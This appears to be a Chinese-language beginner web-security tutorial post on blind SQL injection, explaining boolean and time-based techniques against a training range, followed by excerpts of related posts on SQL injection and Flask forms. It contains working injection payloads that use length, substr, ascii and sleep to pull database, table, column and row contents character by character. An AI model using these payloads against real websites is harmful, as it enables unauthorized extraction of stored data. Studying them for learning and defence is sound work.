web安全入門(第四章 4)盲注注入

2021-10-06 12:23:44 字數 1995 閱讀 4822

一、盲注介紹

所謂盲注就是在伺服器沒有錯誤回顯的時候完成的注入攻擊。

伺服器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的「除錯資訊」。

布林盲注

布林很明顯trup跟fales,也就是說他只會根據你的諸如資訊

返回trup跟fales,也就沒有了之前的報錯資訊。

時間盲注

介面返回值只有一種,trup無論輸入任何值,返回情況都會按

正常的來處理。加入特定的時間函式,通過檢視web頁面返回的時間差

來判斷注入的語句是否正確。

二、盲注需要掌握的幾個函式

length()函式,返回字串的長度  select length(123456);

substr()擷取字串(語法:substr(str,pos,len);) select substr(str,pos,len);

ascii()返回字串的ascii碼[將字串變為數字wei] select ascii('a');

sleep()將程式掛起一段時間n為n秒

if(expr1,expr2,expr3)判斷語句,如果第乙個語句正常就執行第二個語句如果錯誤就執行第三個語句

三、盲注靶場的做法

猜解當前資料庫名稱長度:

id=1' and(length(database()))>9#

利用ascii碼猜解當前資料庫名稱:

and(ascii(substr(database(),1,1)))=115--+返回正常,說明資料庫名稱第一位是s

and(ascii(substr(database(),2,1)))=101--+返回正常,說明資料庫名稱第一位是e

猜表名:

and(ascii(substr((select table_name from information_schema.tables where table_schema=database()

limit 0,1),1,1)))=101--+ 返回正常,說明資料庫表名的第乙個的第一位是e

猜欄位名:

and(ascii(substr((select column_name from information_schema.columns where table_name='zkaq'

limit 0,1),1,1)))=102--+返回正常,說明zkaq表中的列名稱第一位是f

猜內容:

and(ascii(substr((select zkaq from zkaq limit 4,1),1,1)))=122--+返回正常,說明zkaq列第一位是z

四、延時注入靶場做法

if(expr1,expr2,expr3)判斷語句,如果第乙個語句正常就執行第二個語句如果錯誤就執行第三個語句

and if(ascii(substr(database(),1,1))>120,0,sleep(10))--+

第一關:select*from news where id="1"

and if(length(database())=12,sleep(5),'a')-- qwe"

and if(ascii(substr(database()1,1))=107,sleep(2),』a』) -- qwe」

第二關:select*from news where id=('1')

延時盲注其實和布林盲注沒有什麼他大區別,只不過是依靠頁面是否正常判斷,乙個是否

延時判斷,在操作上其實也差不多,只不過延時多個if()

if(ascii(substr(database(),1,1)) >1,sleep(2),%27a%27)

if(條件,成立則執行第二個引數,否則執行地三個引數)

ascii(substr(database(),1,1)) >1

當前庫名第乙個字元對應的ascii碼是否大於1

綜上,這句話得意思是

當前庫名得第乙個字元對應的ascii碼如果大於1,則延遲2秒,否則返回a

web安全入門(第四章 1)SQL注入的原理分析

1 sql注入本質 注入攻擊的本質,是把使用者輸入的資料當作 執行 這有兩個條件 第乙個是使用者能夠控制輸入 第二個是原本程式要執行的 拼接裡使用者輸入的資料然後執行 sql注入就是針對sql語句的注入,也可以理解為使用者輸入的資料當作sql語句的 執行了 sql注入是1998年一名叫做rfp的黑客...

第四章 Web表單

request.form能獲取post請求中提交的表單資料。flask wtf可以把處理web表單的過程變成一種愉悅的體驗。使用flask wtf時,每個web表單都由乙個繼承自form的類表示。每個類定義表單中的一組字段,每個欄位都用物件表示。表單字段是可呼叫的,在模板中呼叫後會渲染成html 可...

滲透測試第四章SQL注入

sql注入定義 將使用者輸入的內容,拼接到sql語句中,一起提交到資料庫 產生sql注入威脅。id get id id post id access注入基本流程 1.判斷有無注入 2.猜解表名 3.猜解字段 4.猜解管理員id值 5.猜解使用者名稱和密碼長度 6.猜解使用者名稱和密碼 逐字猜解法 1...